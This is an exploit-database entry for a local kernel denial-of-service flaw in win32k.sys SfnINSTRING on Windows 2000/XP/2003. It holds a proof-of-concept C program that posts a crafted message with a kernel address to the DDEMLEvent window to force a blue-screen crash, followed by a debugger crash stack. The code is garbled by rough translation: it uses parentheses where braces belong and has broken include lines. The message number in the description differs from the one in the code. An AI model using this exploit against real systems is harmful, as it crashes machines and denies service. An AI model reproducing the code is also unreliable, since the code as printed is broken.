Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel DoS

2010-04-22T00:00:00
ID 1337DAY-ID-11933
Type zdt
Reporter MJ0011
Modified 2010-04-22T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
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Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability
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Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability
 
Effect : Microsoft Windows 2000/XP/2003 full patch
 
 
Author:MJ0011
Published: 2010-04-22
 
 
Vulnerability Details:
 
 
Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some
Message, will call gapfnScSendMessage this function table function to process,
which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING function called this function when the lParam is not empty,
direct that the lParam is a memory pointer, and pull data directly from the address
despite the use of the function of the SEH, but as long as the kernel address transmission errors will still cause the system BSOD
 
 
Exploit code:
 
# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder$126.com\nPressEnter");
 
getchar();
 
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
 
if (hwnd == 0)
(
printf ("cannot find DDEMLEvent Window! \ n");
return 0;
)
 
PostMessage (hwnd, 0x18d, 0x0, 0x80000000);
 
 
return 0;
)
 
Common crash stack:
 
kd> kc
 
win32k! SfnINSTRING
win32k! xxxDefWindowProc
win32k! xxxEventWndProc
win32k! xxxDispatchMessage
win32k! NtUserDispatchMessage
....
 
Windows 7/Vista no such problem
 
Thanks:
 
Thanks to my colleagues LYL to help me discovered this vulnerability 



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